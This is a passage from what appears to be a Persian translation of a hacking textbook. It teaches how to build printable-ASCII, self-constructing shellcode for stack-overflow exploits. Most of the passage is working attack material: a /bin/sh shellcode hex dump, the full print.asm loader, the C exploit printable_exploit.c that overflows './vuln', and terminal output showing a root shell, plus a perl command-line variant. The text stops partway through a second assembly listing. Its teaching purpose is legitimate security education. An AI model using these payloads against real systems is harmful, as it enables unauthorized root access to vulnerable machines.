‫ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﺪ ﻣﺎﺷﯿﻦ "\‪ "%JONE%501:TX-3399-Purr-!TTT-P‬ﻣﻘﺪار ‪ 860‬را ﺑﻪ ‪ ESP‬اﺿﺎﻓﻪ ﻣﯽ ﮐﻨﺪ‪ .‬ﺗﺎ‬
‫اﯾﻨﺠﺎ ﺧﻮب ﭘﯿﺶ آﻣﺪه اﯾﻢ‪ ،‬اﮐﻨﻮن زﻣﺎن ﺳﺎﺧﺘﻦ ﺷﻞ‪-‬ﮐﺪ اﺳﺖ‪.‬‬
‫اﺑﺘﺪا ﺑﺎﯾﺪ ﻣﻘﺪار ‪ EAX‬را ﻣﺠﺪدا ﺻﻔﺮ ﮐﻨﯿﻢ ﮐﻪ ﺑﺎ ﮐﺸﻒ اﯾﻦ روش ﺟﺪﯾﺪ ﺑـﻪ ﺳـﺎدﮔﯽ اﻧﺠـﺎم ﻣـﯽ ﺷـﻮد‪ .‬ﺳـﭙﺲ ﺑﺎﯾـﺪ ﺑـﺎ‬
‫اﺳﺘﻔﺎده از دﺳﺘﻮر ‪ sub‬دﯾﮕﺮ ﺑﺎﯾﺪ ﻣﻘﺪار ﺛﺒﺎت ‪ EAX‬را ﺑﻪ ﻃﻮر ﻣﻌﮑﻮس ﺑﺮاﺑﺮ ﺑﺎ ‪ 4‬ﺑﺎﯾﺖ اﻧﺘﻬﺎی ﺷﻞ‪-‬ﮐـﺪ ﺗﻨﻈـﯿﻢ ﮐﻨـﯿﻢ‪.‬‬
‫ﭼﻮن ﭘﺸﺘﻪ رو ﺑﻪ ﺑﺎﻻ )ﺑﻪ ﻃﺮف آدرس ﻫﺎی ﮐﻤﺘﺮ ﺣﺎﻓﻈﻪ( رﺷﺪ ﮐﺮده و ﺑﺎ ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ ‪ FILO‬ﺳـﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد‪ ،‬ﻟـﺬا‬
‫اوﻟﯿﻦ ﻣﻘﺪار ﻗﺮار ﮔﺮﻓﺘﻪ در ﭘﺸﺘﻪ ﺑﺎﯾﺪ ﻫﻤﺎن ‪ 4‬ﺑﺎﯾﺖ اﻧﺘﻬﺎی ﺷﻞ‪-‬ﮐﺪ ﺑﺎﺷﺪ‪ .‬ﺑﻪ دﻟﯿﻞ ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ ‪ Little Endian‬اﯾـﻦ‬

‫‪88‬‬
‫ﮐـﺪ ﺳـﺎﺧﺘﻪ‬-‫( از ﺷﻞ‬Hexadecimal Dump) ‫ در زﯾﺮ ﯾﮏ اﻧﺒﺎره ﻫﮕﺰادﺳﯿﻤﺎل‬.‫ﺑﺎﯾﺖ ﻫﺎ ﺑﺎﯾﺪ رو ﺑﻪ ﻋﻘﺐ ﻗﺮار ﺑﮕﯿﺮﻧﺪ‬
.‫ﺷﺪه در ﻓﺼﻞ ﻗﺒﻠﯽ را ﮐﻪ ﺗﻮﺳﻂ ﮐﺪ ﺑﺎرﮔﺬار ﻗﺎﺑﻞ ﭼﺎپ اﯾﺠﺎد ﺧﻮاﻫﺪ ﺷﺪ ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﻢ‬
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
‫ ﺑﺮاﺑــﺮ‬EAX ‫در اﯾــﻦ ﻣــﻮرد ﭼﻬــﺎر ﺑﺎﯾــﺖ آﺧــﺮ ﺑــﻪ ﺻــﻮرت ﺿــﺨﯿﻢ ﻧﻤــﺎﯾﺶ ﯾﺎﻓﺘــﻪ اﻧــﺪ؛ ﻣﻘــﺪار ﻣﻨﺎﺳــﺐ ﺑــﺮای ﺛﺒــﺎت‬
‫ ﺟﻬﺖ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ دادن ﻣﻘـﺪار‬sub ‫ اﯾﻦ ﮐﺎر را ﺑﺴﺎدﮔﯽ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از دﺳﺘﻮرات‬.‫ اﺳﺖ‬0x80CD0BB0
‫ را رو ﺑﻪ ﺑﺎﻻ )ﺑﻪ ﺳـﻤﺖ آدرس ﻫـﺎی ﮐﻤﺘـﺮ‬ESP ‫ اﯾﻦ ﻋﻤﻞ ﻣﻘﺪار‬.‫ روی ﭘﺸﺘﻪ اﻧﺠﺎم داد‬EAX ‫و ﺳﭙﺲ ﻗﺮار دادن ﻣﻘﺪار‬
‫ﮐﺪ‬-‫ ﺑﺎﯾﺘﯽ ﺑﻌﺪی از ﺷﻞ‬4 ‫ اﮐﻨﻮن ﻧﻮﺑﺖ‬.‫ﺣﺎﻓﻈﻪ( و در اﺷﺎره ﺑﻪ اﻧﺘﻬﺎی ﻣﻘﺪار اﺿﺎﻓﻪ ﺷﺪه ی اﺧﯿﺮ در ﭘﺸﺘﻪ اﻧﺘﻘﺎل ﻣﯽ دﻫﺪ‬
EAX ‫ ﺑﯿﺸﺘﺮی ﺑـﺮای ﭼـﺮﺧﺶ دادن‬sub ‫ دﺳﺘﻮرات‬.(‫ﺧﻂ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ‬-‫ﮐﺪ ﻗﺒﻠﯽ ﺑﻪ ﺻﻮرت زﯾﺮ‬-‫اﺳﺖ )ﮐﻪ در ﺷﻞ‬
،‫ ﺑـﺎﯾﺘﯽ‬4 ‫ ﺑﺎ ﺗﮑﺮار اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺮای ﻫﺮ ﺗﮑﻪ‬.‫ ﺑﮑﺎر رﻓﺘﻪ و ﺳﭙﺲ اﯾﻦ ﻣﻘﺪار در ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‬0x99E18953 ‫دور‬
.‫ﮐﺪ از آﺧﺮ ﺑﻪ اول ﺗﺎ ﮐﺪ ﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‬-‫ﺷﻞ‬
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
‫ در ﭘﺸﺘﻪ وﺟﻮد‬0xC931DB31 ‫ ﺑﺎﯾﺖ ﺑﻌﺪ از ﻗﺮار ﮔﺮﻓﺘﻦ ﻣﻘﺪار‬3 ‫ اﻣﺎ ﺗﻨﻬﺎ‬،‫ﮐﺪ دﺳﺖ ﻣﯽ ﯾﺎﺑﯿﻢ‬-‫ﺳﺮاﻧﺠﺎم ﺑﻪ اﺑﺘﺪای ﺷﻞ‬
NOP ‫ اﯾﻦ ﻣﺸﮑﻞ را ﻣﯽ ﺗﻮان ﺑﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﯾـﮏ دﺳـﺘﻮر‬.(‫ﺧﻂ ﻣﺸﻬﻮد ﻫﺴﺘﻨﺪ‬-‫ﮐﺪ ﺑﺎﻻ ﺑﻪ ﺻﻮرت زﯾﺮ‬-‫دارد )در ﺷﻞ‬
‫ ﮐﺪﻣﺎﺷﯿﻦ دﺳﺘﻮر‬0x90) ‫ روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‬0x58466A90 ‫ در ﻧﺘﯿﺠﻪ ﻣﻘﺪار‬،‫ﺑﺎﯾﺘﯽ در اﺑﺘﺪای ﮐﺪ ﺣﻞ ﮐﺮد‬-‫ﺗﮏ‬
.(‫ اﺳﺖ‬NOP
:‫ﮐﺪ ﻣﺮﺑﻮط ﺑﻪ ﮐﺪ ﻓﺮآﯾﻨﺪ را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‬
and eax, 0x454e4f4a ; Zero out the EAX register again
and eax, 0x3a313035 ; using the same trick

sub eax, 0x344b4b74 ; Subtract some printable values


sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0
sub eax, 0x25795075 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x6e784a38 ; Subtract more printable values


sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
push eax ; and then push this to the stack

sub eax, 0x64646464 ; Subtract more printable values


sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
sub eax, 0x7962644a ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x55257555 ; Subtract more printable values


sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x77777777 ; Subtract more printable values


sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
sub eax, 0x56443973 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x254f2572 ; Subtract more printable values


sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
sub eax, 0x756d4479 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x43434343 ; Subtract more printable values


sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
sub eax, 0x36653234 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

89
sub eax, 0x387a3848 ; Subtract more printable values
sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack
‫ﮐﺪ در ﻣﮑﺎﻧﯽ ﺑﻌﺪ از ﮐﺪ ﺑﺎرﮔﺬار ﺳﺎﺧﺘﻪ ﺷﺪه اﺳﺖ و اﺣﺘﻤﺎﻻ ﯾﮏ ﺷـﮑﺎف )ﻓـﻀﺎ(در ﺣﺎﻓﻈـﻪ‬-‫ ﺷﻞ‬،‫ﭘﺲ از ﺗﻤﺎم اﯾﻦ ﻣﻮارد‬
‫ ﭘـﺮ‬NOP ‫ اﯾﻦ ﺷﮑﺎف را ﻣﯽ ﺗﻮان ﺑﺎ اﯾﺠﺎد ﯾـﮏ ﺳـﻮرﺗﻤﻪ‬.‫ﮐﺪ و ﮐﺪ ﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ‬-‫ﺑﯿﻦ ﺷﻞ‬
.‫ﮐﺪ را ﺑﻪ ﯾﮑﺪﯾﮕﺮ ﻣﺘﺼﻞ ﮐﺮد‬-‫ و ﮐﺪ ﺑﺎرﮔﺬار و ﺷﻞ‬41‫ﮐﺮد‬
‫ ﭼﻨـﺪﯾﻦ ﺑـﺎر در ﭘـﺸﺘﻪ‬EAX ‫ ﺑﮑﺎر ﻣﯽ روﻧﺪ و ﺳﭙﺲ‬EAX ‫ در‬0x90909090 ‫ ﺑﺮای ﻗﺮار دادن‬sub ‫ﻣﺠﺪدا دﺳﺘﻮرات‬
‫ ﻧﻬﺎﯾﺘﺎ اﯾـﻦ دﺳـﺘﻮرات‬.‫ﮐﺪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‬-‫ در اﺑﺘﺪای ﺷﻞ‬NOP ‫ ﭼﻬﺎر دﺳﺘﻮر‬،push ‫ ﺑﺎ ﻫﺮ دﺳﺘﻮر‬.‫ﻗﺮار ﺧﻮاﻫﺪ ﮔﺮﻓﺖ‬
‫ ﻣﯽ ﺗﻮاﻧﺪ روﻧﺪ اﺟﺮا را‬EIP ‫ از ﮐﺪ ﺑﺎرﮔﺬار ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ و در ﻧﺘﯿﺠﻪ‬push ‫ روی در دﺳﺘﻮرات در ﺣﺎل اﺟﺮای‬NOP
:‫ ﻧﺘﺎﯾﺞ ﭘﺎﯾﺎﻧﯽ ﺑﻪ ﻫﻤﺮاه ﺗﻮﺿﯿﺤﺎت ﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ‬.‫ﮐﺪ ﺗﻐﯿﯿﺮ دﻫﺪ‬-‫ﺑﺮ روی ﺳﻮرﺗﻤﻪ ﻣﻮﺟﻮد درون ﺷﻞ‬
print.asm
BITS 32
and eax, 0x454e4f4a ; Zero out the EAX register
and eax, 0x3a313035 ; by ANDing opposing, but printable bits

push esp ; Push ESP to the stack, and then


pop eax ; pop that into EAX to do a mov eax, esp

sub eax, 0x39393333 ; Subtract various printable values


sub eax, 0x72727550 ; from EAX to wrap all the way around
sub eax, 0x54545421 ; to effectively add 860 to ESP

push eax ; Push EAX to the stack, and then


pop esp ; pop that into ESP to do a mov eax, esp

; Now ESP is 860 bytes further down (in higher memory addresses)
; which is past our loader bytecode that is executing now.

and eax, 0x454e4f4a ; Zero out the EAX register again


and eax, 0x3a313035 ; using the same trick
sub eax, 0x344b4b74 ; Subtract some printable values
sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0
sub eax, 0x25795075 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x6e784a38 ; Subtract more printable values


sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
push eax ; and then push this to the stack

sub eax, 0x64646464 ; Subtract more printable values


sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
sub eax, 0x7962644a ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x55257555 ; Subtract more printable values


sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x77777777 ; Subtract more printable values


sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
sub eax, 0x56443973 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x254f2572 ; Subtract more printable values


sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
sub eax, 0x756d4479 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

.‫ ﻣﯽ ﮔﻮﺋﯿﻢ‬NOP Bridge ‫ ﯾﺎ‬NOP ‫ ﮐﻪ ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد اﺻﻄﻼﺣﺎ ﭘﻞ‬NOP ‫ﺑﻪ ﺳﻮرﺗﻤﻪ‬41
90
sub eax, 0x43434343 ; Subtract more printable values
sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
sub eax, 0x36653234 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack

sub eax, 0x387a3848 ; Subtract more printable values


sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack

; add a NOP sled


sub eax, 0x6a346a6a ; Subtract more printable values
sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090
sub eax, 0x38353632 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
push eax ; many times to build a NOP sled
push eax ; to bridge the loader code to the
push eax ; freshly built shellcode.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
.‫اﯾﻦ ﺗﮑﻪ ﮐﺪ ﺑﻪ ﺻﻮرت ﯾﮏ رﺷﺘﻪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ )وﻟﯽ ﺑﺎ ﻋﺎﻣﻠﯿﺖ ﮐﺪﻫﺎی اﺟﺮاﯾﯽ ﻣﺎﺷﯿﻦ( اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد‬
$ nasm print.asm
$ cat print
:‫ﮐﺪ ﻣﺎﺷﯿﻦ ﺑﻪ ﺻﻮرت زﯾﺮ ﻣﯽ ﺑﺎﺷﺪ‬
%JONE%501:TX-3399-Purr-!TTTP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-
777j-JdbyP-Uu%U-
pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-
d9L%-
2658PPPPPPPPPPPPPPPP
‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﻧﺰدﯾﮑﯽ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠـﯽ در ﯾـﮏ اﮐـﺴﭙﻠﻮﯾﺖ‬-‫اﯾﻦ ﮐﺪ را ﻣﯽ ﺗﻮان ﺑﻬﻨﮕﺎم ﻗﺮار ﮔﺮﻓﺘﻦ اﺑﺘﺪای ﺷﻞ‬
‫ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻣﺠﺪدا ﻧﺴﺒﺖ ﺑﻪ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠـﯽ ﺗﻌﯿـﯿﻦ‬،‫ ﭼﺮا ﮐﻪ ﺑﻮاﺳﻄﻪ ﮐﺪ ﺑﺎرﮔﺬار‬،‫ﺳﺮرﯾﺰ ﻣﺒﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ﺑﮑﺎر ﺑﺮد‬
.‫ ﺧﻮﺷﺒﺨﺘﺎﻧﻪ زﻣﺎﻧﯽ اﯾﻦ ﻣﻄﻠﺐ ﻣﻮرد ﻧﻈﺮ اﺳﺖ ﮐﻪ ﮐﺪ در ﺑﺎﻓﺮِ اﮐﺴﭙﻠﻮﯾﺖ ذﺧﯿﺮه ﺷﺪه اﺳﺖ‬.‫ﻣﮑﺎن ﻣﯽ ﮔﺮدد‬
‫ﮐﺪ اﺳﮑﯽ ﻗﺎﺑـﻞ ﭼـﺎپ دﺳـﺘﮑﺎری ﺷـﺪه‬-‫ در ﻓﺼﻞ ﻗﺒﻞ اﺳﺖ ﮐﻪ ﺗﻨﻬﺎ ﺟﻬﺖ اﺳﺘﻔﺎده از ﺷﻞ‬exploit.c ‫ ﻫﻤﺎن ﮐﺪ‬،‫ﮐﺪ زﯾﺮ‬
.‫اﺳﺖ‬
printable_exploit.c
#include <stdlib.h>

char shellcode[] =
"%JONE%501:TX-3399-Purr-!TTTP\\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-
777j-
JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-
Y8q8P-
jj4j-d9L%-2658PPPPPPPPPPPPPPPP";

unsigned long sp(void) // This is just a little function


{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])


{
int i, offset;
long esp, ret, *addr_ptr;
91
char *buffer, *ptr;
if(argc < 2) // If no offset if given on command line
{ // Print a usage message
printf("Use %s <offset>\nUsing default offset of 0\n",argv[0]);
offset = 0; // and set a default offset of 0.
}
else // Otherwise, use the offset given on command
line
{
offset = atoi(argv[1]); // offset = offset given on command line
}
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address

printf("Stack pointer (EIP) : 0x%x\n", esp);


printf(" Offset from EIP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)


buffer = malloc(600);

// Fill the entire buffer with the desired ret address


ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with "NOP" instructions
for(i=0; i < 200; i++)
{ buffer[i] = '@'; } // Use a printable single-byte instruction

// Put the shellcode after the NOP sled


ptr = buffer + 200 - 1;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

// End the string


buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);

return 0;
}
‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺟﺪﯾﺪ و ﯾﮏ دﺳﺘﻮر ﺗـﮏ ﺑـﺎﯾﺘﯽ ﻗﺎﺑـﻞ ﭼـﺎپ‬-‫ﮐﺪ ﻓﻮق ﻫﻤﺎن ﮐﺪ ﻗﺒﻠﯽ اﺳﺖ و ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ ﺗﻨﻬﺎ از ﺷﻞ‬
‫ از‬،‫ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ‬-‫ ﻫﻤﭽﻨﯿﻦ ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ ﺑﺮای ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪن ﺻﺤﯿﺢ ﺷﻞ‬.‫ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‬NOP ‫ﺑﺮای اﯾﺠﺎد ﺳﻮرﺗﻤﻪ‬
‫ ﭼـﺮا ﮐـﻪ ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﻧﻘـﺶ وﯾـﮋه‬،‫ اﺳﺘﻔﺎده ﮐـﺮده اﯾـﻢ‬backslash ‫ اﺿﺎﻓﯽ در ﮐﻨﺎر ﯾﮏ‬backslash ‫ﯾﮏ ﮐﺎراﮐﺘﺮ‬
‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻫﮕﺰادﺳﯿﻤﺎل ﺗﻌﺮﯾﻒ ﺷـﺪه‬-‫ اﮔﺮ ﺷﻞ‬.‫ را ﻣﻨﺘﻔﯽ ﺳﺎﺧﺘﻪ اﯾﻢ‬backslash ‫ﮐﺎراﮐﺘﺮ‬
‫ ﺧﺮوﺟﯽ زﯾﺮ ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای اﮐﺴﭙﻠﻮﯾﺖ را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐـﻪ ﻧﺘﯿﺠـﻪ آن‬.‫ ﻧﯿﺎزی ﺑﻪ اﻧﺠﺎم اﯾﻦ ﮐﺎر ﻧﯿﺴﺖ‬،‫اﺳﺖ‬
.‫اﻋﻄﺎی ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻧﻔﻮذﮔﺮ اﺳﺖ‬
$ gcc -o exploit2 printable_exploit.c
$ ./exploit2 0
Stack pointer (EIP) : 0xbffff7f8
Offset from EIP : 0x0
Desired Return Addr : 0xbffff7f8
sh-2.05b# whoami
root
sh-2.05b#
‫ وﺟـﻮد‬sub ‫ ﭼﻮن ﺗﻌﺪاد ﺗﺮﮐﯿﺒﺎت ﻣﺨﺘﻠﻒ ﺑﯽ ﺷـﻤﺎری از ﻣﻘـﺎدﯾﺮ دﺳـﺘﻮر‬.‫ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﮐﺎر ﮐﺮد و اﯾﻦ ﻋﺎﻟﯽ اﺳﺖ‬-‫ﺷﻞ‬
‫ﮐـﺪ ﺧﺎﺻـﯿﺖ‬-‫ ﺑﻨـﺎﺑﺮاﯾﻦ ﺷـﻞ‬،(‫ را ﺑـﻪ دور ﻫـﺮ ﻣﻘـﺪار ﻣﻄﻠـﻮب ﻣـﯽ ﭘﯿﭽﺎﻧﻨـﺪ )ﭼـﺮﺧﺶ ﭘﻮﺷـﺸﯽ‬EAX ‫دارﻧﺪ ﮐﻪ ﻣﻘﺪار‬

92
‫دﮔﺮﺷﮑﻠﯽ ﻧﯿﺰ دارد‪ .‬ﺗﻐﯿﯿﺮ دادن اﯾﻦ ﻣﻘﺎدﯾﺮ ﺳﺒﺐ ﺗﻐﯿﯿﺮ ﺷﮑﻞ )ﻇﺎﻫﺮ( در ﺷﮑﻞ ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ ﻫﻨﻮز ﻣـﯽ ﺗﻮاﻧـﺪ ﻣـﺎ را ﺑـﻪ‬
‫ﻫﻤﺎن ﻧﺘﺎﯾﺞ ﻧﻬﺎﯾﯽ ﻗﺒﻠﯽ ﺳﻮق دﻫﺪ‪.‬‬
‫ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ را ﻣﯽ ﺗﻮان در ﺳﻄﺢ ﺧﻂ‪-‬ﻓﺮﻣـﺎن ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ ﺳـﻮرﺗﻤﻪ‬
‫‪ NOP‬ﻧﯿﺰ اﻧﺠﺎم داد‪.‬‬
‫?‪$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.‬‬
‫‪0xbffff844‬‬
‫‪$ ./vuln 'perl -e 'print "JIBBAJABBA"x20;'"cat print"perl -e 'print‬‬
‫'';‪"\x44\xf8\xff\xbf"x40‬‬
‫‪sh-2.05b# whoami‬‬
‫‪root‬‬
‫‪sh-2.05b#‬‬
‫اﻣﺎ اﮔﺮ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿﺮه ﮐﻨﯿﺪ ﮐﺎرﮐﺮد ﻧﺨﻮاﻫـﺪ داﺷـﺖ‪ ،‬ﭼـﺮا ﮐـﻪ اﺷـﺎرﮔﺮ ﭘـﺸﺘﻪ در‬
‫ﻫﻤﺎن ﻣﮑﺎن ﻧﯿﺴﺖ‪ .‬ﺑﺮای اﯾﻨﮑﻪ ﺷﻞ‪-‬ﮐﺪ واﻗﻌﯽ در ﻣﮑﺎﻧﯽ ﻧﻮﺷﺘﻪ ﺷﻮد ﮐﻪ ﺗﻮﺳﻂ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﻗﺎﺑﻞ دﺳﺘﺮس ﺑﺎﺷﺪ‪،‬‬
‫ﺑﺎﯾﺪ ﺗﺎﮐﺘﯿﮏ ﺟﺪﯾﺪی را ﺑﻪ ﮐﺎر ﺑﺴﺖ‪ .‬ﯾﮏ راه ﻣﯽ ﺗﻮاﻧﺪ ﻣﺤﺎﺳﺒﻪ ﻣﮑﺎن ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ و ﺳﭙﺲ ﺗﻐﯿﯿﺮ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ‬
‫در ﻫﺮ ﺑﺎر ﺑﺎﺷﺪ ﺗﺎ ﺑﺪﯾﻦ ﺻﻮرت اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺣﺪودا در ‪ 50‬ﺑﺎﯾﺖ ﻗﺒﻞ از اﻧﺘﻬﺎی ﮐﺪ ﺑﺎرﮔﺬار ﻗﺎﺑﻞ ﭼﺎپ ﻗـﺮار ﺑﮕﯿـﺮد ﺗـﺎ‬
‫اﻣﮑﺎن ﺳﺎﺧﺘﻪ ﺷﺪن ﺷﻞ‪-‬ﮐﺪ واﻗﻌﯽ ﻓﺮاﻫﻢ ﺷﻮد‪.‬‬
‫اﮔﺮﭼﻪ اﯾﻦ ﺗﺎﮐﺘﯿﮏ ﻣﻤﮑﻦ و ﺷﺪﻧﯽ اﺳﺖ‪ ،‬اﻣـﺎ راه ﺣﻠـﯽ ﺳـﺎده ﺗـﺮی وﺟـﻮد دارد‪ .‬ﭼـﻮن ﻣﺘﻐﯿﺮﻫـﺎی ﻣﺤﯿﻄـﯽ ﻣﻌﻤـﻮﻻ در‬
‫ﻧﺰدﯾﮑﯽ ﭘﺎﺋﯿﻦ ﭘﺸﺘﻪ )در آدرس ﻫﺎی ﺑﺎﻻﺗﺮ ﺣﺎﻓﻈﻪ( ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﺑﻪ آدرﺳﯽ ﻧﺰدﯾﮏ ﺑـﻪ‬
‫ﭘﺎﺋﯿﻦ ﭘﺸﺘﻪ‪ ،‬ﻣﺜﻼ ‪ 0xbfffffe0‬ﺗﻨﻈﯿﻢ ﮐﺮد‪ .‬ﺳﭙﺲ ﺷﻞ‪-‬ﮐﺪ ﺣﻘﯿﻘﯽ از اﯾﻦ ﻧﻘﻄﻪ رو ﺑﻪ ﻋﻘﺐ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﻣـﯽ ﺗـﻮان‬
‫ﺑﺎ ﯾﮏ ﭘﻞ ‪ NOP‬ﺑﺰرگ‪ ،‬ﺷﮑﺎف ﻣﻮﺟﻮد ﺑﯿﻦ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ )ﮐﺪ ﺑﺎرﮔﺬار ﻣﻮﺟﻮد در ﻣﺤﯿﻂ( و ﺷﻞ‪-‬ﮐﺪ واﻗﻌـﯽ را ﭘـﺮ‬
‫اﯾﺠﺎد ﮐﺮد‪ .‬در زﯾﺮ ﻧﺴﺨﻪ ﺟﺪﯾﺪی از ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ را ﻣﻼﺣﻈﻪ ﺧﻮاﻫﯿﺪ ﮐﺮد ﮐﻪ اﯾﻦ ﻋﻤﻞ را اﻧﺠﺎم ﻣﯽ دﻫﺪ‪.‬‬
‫‪print2.asm‬‬

‫‪BITS 32‬‬
‫‪and eax, 0x454e4f4a ; Zero out the EAX register‬‬
‫‪and eax, 0x3a313035 ; by ANDing opposing, but printable bits‬‬

‫‪sub eax, 0x59434243 ; Subtract various printable values‬‬


